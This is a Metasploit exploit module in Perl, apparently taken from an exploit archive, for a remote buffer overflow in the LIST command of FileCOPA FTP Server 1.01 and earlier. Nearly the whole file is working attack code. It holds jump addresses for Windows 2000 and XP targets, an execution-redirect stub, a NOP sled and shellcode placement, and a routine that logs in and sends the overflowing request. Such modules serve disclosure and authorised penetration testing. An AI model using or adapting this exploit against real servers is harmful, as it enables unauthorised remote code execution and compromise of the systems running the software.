FileCOPA FTP Server <= 1.01 (LIST) Remote BoF Exploit (Metasploit)



##

# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::filecopa_list;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
    'Name'    => 'FileCopa FTP Server pre 18 Jul Version',
    'Version' => '$Revision: 0.1 $',
    'Authors' =>
      [ 
        'Jacopo Cervini <acaro [at] jervus.it>'
      ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
    'Priv'  => 0,

    'AutoOpts'  => { 'EXITFUNC' => 'thread' },
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 21],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
        'USER'  => [1, 'DATA', 'Username', 'test'],
        'PASS'  => [1, 'DATA', 'Password', 'test'],
      },

    'Payload' =>
      {
        'Space'  => 400,
        'BadChars'  => "\x00\x0a\x0d",
        # 'Prepend'    => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
        'Keys'         => ['+ws2ord'],
      },

    'Description'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the LIST command
        in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch.    
}),

    'Refs'  =>
      [
        ['BID', '19065'],
        
      ],

    'DefaultTarget' => 0,
    'Targets' =>
      [

        ['Windows 2000 SP4 English',    160, 0x7c2e7993 ], # jmp esp in ADVAPI32.dll
        ['Windows 2000 SP4 Italian',    160, 0x79277993 ], # jmp esp in ADVAPI32.dll
        ['Windows XP SP2 English',    240, 0x77df2740 ], # jmp esp in ADVAPI32.dll
        
        

      ],

    'Keys' => ['filecopa'],

    'DisclosureDate' => 'Jul 19 2006',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}


sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target      = $self->Targets->[$target_idx];




    
    
    my $jmp = "\x66\x81\xc1\xa0\x01\x51\xc3";

    #66:81C1 A001   ADD CX,1A0
    #51             PUSH ECX
    #C3             RETN
    

    my $pattern = ("A" x $target->[1]);
         $pattern .= pack('V', $target->[2]);
       $pattern .= ("\x90"x4);
       $pattern .= $jmp;
       $pattern .= ("\x90"x283);
       $pattern .= $shellcode; 

       
    my $request = "A " . $pattern ."\r\n";

    

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );

    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    my $r = $s->RecvLineMulti(20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->Print($r);

    $s->Send("USER " . $self->GetVar('USER') . "\r\n");
    $r = $s->RecvLineMulti(20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->Print($r);


    $s->Send("PASS ".$self->GetVar('PASS')."\r\n");
    $r = $s->RecvLineMulti(20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->Print($r);

    $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at 0x%.8x...", $target->[2]));


    $s->Send("LIST $request");
    
    sleep(2);
    return;
}

# milw0rm.com [2007-01-09]